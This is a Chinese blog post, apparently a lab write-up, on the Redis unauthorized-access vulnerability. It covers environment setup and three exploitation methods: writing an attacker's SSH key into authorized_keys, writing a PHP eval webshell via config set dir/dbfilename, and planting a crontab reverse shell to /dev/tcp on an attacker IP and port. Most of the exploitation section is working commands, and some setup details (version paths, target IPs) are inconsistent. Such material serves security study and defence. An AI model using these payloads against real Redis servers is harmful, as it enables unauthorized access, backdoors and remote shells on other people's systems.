Redis未授权访问漏洞总结

一.漏洞描述
Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。
漏洞的产生条件有以下两点:

(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务
二. 漏洞危害
Redis 2.x,3.x,4.x,5.x
三. 环境搭建
1.环境搭建
这里我使用的是Ubuntu的虚拟机,首先使用
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
在这里插入图片描述
然后解压,进入源码目录,然后编译(make、make install)
tar -zxf redis-4.0.10.tar.gz
在这里插入图片描述
make结束后,进入src目录:cd src,
将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
在这里插入图片描述
返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:
在这里插入图片描述
然后启动,最好使用sudo 启动,可以在后面避免一个错误。
在这里插入图片描述
kali
kali安装安装redis客户端(redis-cli)
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
解压,编译
四.利用方式
Ubuntu靶机 192.168.150.133
kali 攻击机 192.168.150.131

第一种利用方式
通过写入SSH公钥实现SSH登录
1.ssh-keygen -t rsa 在这里插入图片描述
2.将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。
(echo -e “\n”;cat id_rsa.pub;echo -e “\n”)>key.txt
在这里插入图片描述
3.再把key.txt文件内容写入redis缓冲

cat /root/.ssh/key.txt |./redis-cli -h 192.168.10.139 -x set pub
在这里插入图片描述
4.设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys
在这里插入图片描述在这里插入图片描述

5.ssh连接
在这里插入图片描述

第二种方式
写入webshell’
首先开启web服务
python3 -m http.server
在这里插入图片描述
然后在kali下
config set dir /var
config set dbfilename 1.php
set webshell “<?php phpinfo(); ?>” 或者set one “\n\n\n<?php @eval($_POST['c']);?>\n\n\n”
save

在这里插入图片描述
看下Ubuntu

第三种利用方式
在crontab里写定时任务,反弹shell
kali开启端口监听

set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.150.131/4444 0>&1\n\n”
config set dir /var/
config set dbfilename root
save
在这里插入图片描述
过一分钟左右就可以收到shell

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值